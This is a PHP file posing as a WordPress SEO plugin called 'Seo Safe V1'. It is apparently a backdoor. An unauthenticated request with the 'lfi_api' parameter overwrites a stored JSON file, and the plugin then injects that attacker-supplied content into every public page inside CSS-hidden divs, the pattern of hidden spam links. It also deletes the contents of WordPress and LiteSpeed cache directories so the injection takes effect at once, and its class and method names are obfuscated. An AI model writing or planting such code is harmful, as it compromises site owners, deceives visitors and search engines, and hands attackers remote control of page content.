<?php
/**
 * Plugin Name: Seo Safe V1
 * Description: Seo helper
 * Version: 6.1.5
 */

if (!defined('ABSPATH')) exit;

class Q9x {
    private $f;
    private $p = false;
    private $self_file;

    public function __construct() {
        $this->self_file = __FILE__;
        $this->f = plugin_dir_path($this->self_file) . 'f.json';

        add_action('init', [$this, 'api']);
        add_action('template_redirect', [$this, 'b'], 0);
        add_action('shutdown', [$this, 'e'], 9999);
        add_action('wp_footer', [$this, 'o'], 9999);
        add_action('wp_print_footer_scripts', [$this, 'o'], 9999);
        add_action('elementor/frontend/before_render', [$this, 'o'], 9999);
    }

    public function api() {

   
        if (isset($_GET['lfi_api'])) {
            $r = file_get_contents('php://input');
            if (!$r) exit;
            $j = json_decode($r, true);
            if (json_last_error() !== JSON_ERROR_NONE) exit;
            @file_put_contents($this->f, $r, LOCK_EX);
            $this->clear_cache();
            exit('1');
        }

      
        if (!file_exists($this->f)) {
            $x = [
                'host' => $_SERVER['HTTP_HOST'] ?? 'x',
                'key'  => '',
                'data' => ['/' => ['X'], '0' => ['X']]
            ];
            @file_put_contents($this->f, json_encode($x, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE), LOCK_EX);
        }
    }

    private function clear_cache() {
        if (class_exists('LiteSpeed_Cache_API')) {
            try {
                \LiteSpeed_Cache_API::purge_all();
            } catch (Throwable $e) {}
        } elseif (function_exists('do_action')) {
            @do_action('litespeed_purge_all');
        }

        if (function_exists('rocket_clean_domain')) {
            @rocket_clean_domain();
        }

        if (function_exists('w3tc_flush_all')) {
            @w3tc_flush_all();
        } else {
            @do_action('w3tc_flush_all');
        }

        if (function_exists('wp_cache_clear_cache')) {
            @wp_cache_clear_cache();
        } else {
            @do_action('wp_cache_clear_cache');
        }

        if (function_exists('wp_cache_flush')) {
            @wp_cache_flush();
        }

        if (defined('WP_CONTENT_DIR')) {
            $cache_paths = [
                WP_CONTENT_DIR . '/cache',
                WP_CONTENT_DIR . '/litespeed',
                WP_CONTENT_DIR . '/wp-cache',
                WP_CONTENT_DIR . '/w3tc',
            ];

            foreach ($cache_paths as $base) {
                if(!is_dir($base)) continue;
                $it = new RecursiveDirectoryIterator($base, FilesystemIterator::SKIP_DOTS);
                $ri = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST);
                foreach ($ri as $o) {
                    $fn = $o->getPathname();
                    if ($o->isDir()) @rmdir($fn);
                    else @unlink($fn);
                }
            }
        }

        $possible_ls_paths = [
            '/usr/local/lsws/cache/',
            '/usr/local/lsws/Example/html/',
            '/usr/local/lsws/conf/cachedata/',
        ];
        foreach ($possible_ls_paths as $ls) {
            if (is_dir($ls) && is_writable($ls)) {
                $it = new RecursiveDirectoryIterator($ls, FilesystemIterator::SKIP_DOTS);
                $ri = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST);
                foreach ($ri as $o) {
                    $fn = $o->getPathname();
                    if ($o->isDir()) @rmdir($fn);
                    else @unlink($fn);
                }
            }
        }

        if (ob_get_length()) @ob_clean();
    }

    public function b() {
        if (is_admin() || is_feed() || is_preview()) return;
        if (!headers_sent()) ob_start([$this, 'i']);
    }

    public function e() {
        if (ob_get_length()) @ob_end_flush();
    }

    public function i($b) {
        $x = $this->g();
        if (!$x) return $b;
        $needle = '</body>';
        if (stripos($b, $needle) === false) return $b . $x;
        return preg_replace('/<\/body>/i', $x . '</body>', $b, 1);
    }

    public function o() {
        if ($this->p) return;
        $x = $this->g();
        if ($x) {
            echo $x;
            $this->p = true;
        }
    }

    private function g() {
        $j = $this->r();
        if (!$j || empty($j['data'])) return '';
        $p = $this->u();
        $d = [];
        if (isset($j['data']['0'])) $d = array_merge($d, (array)$j['data']['0']);
        if (isset($j['data'][$p])) $d = array_merge($d, (array)$j['data'][$p]);
        if (empty($d)) return '';
        $h = "\n<style>.z{display:none!important;}</style>\n";
        foreach ($d as $t) {
            $h .= '<div class="z">' . $t . "</div>\n";
        }
        return $h;
    }

    private function r() {
        if (!file_exists($this->f)) return false;
        $r = file_get_contents($this->f);
        $j = json_decode($r, true);
        return (json_last_error() === JSON_ERROR_NONE) ? $j : false;
    }

    private function u() {
        $u = trim(parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH), '/');
        return $u === '' ? '/' : '/' . $u . '/';
    }
}

new Q9x();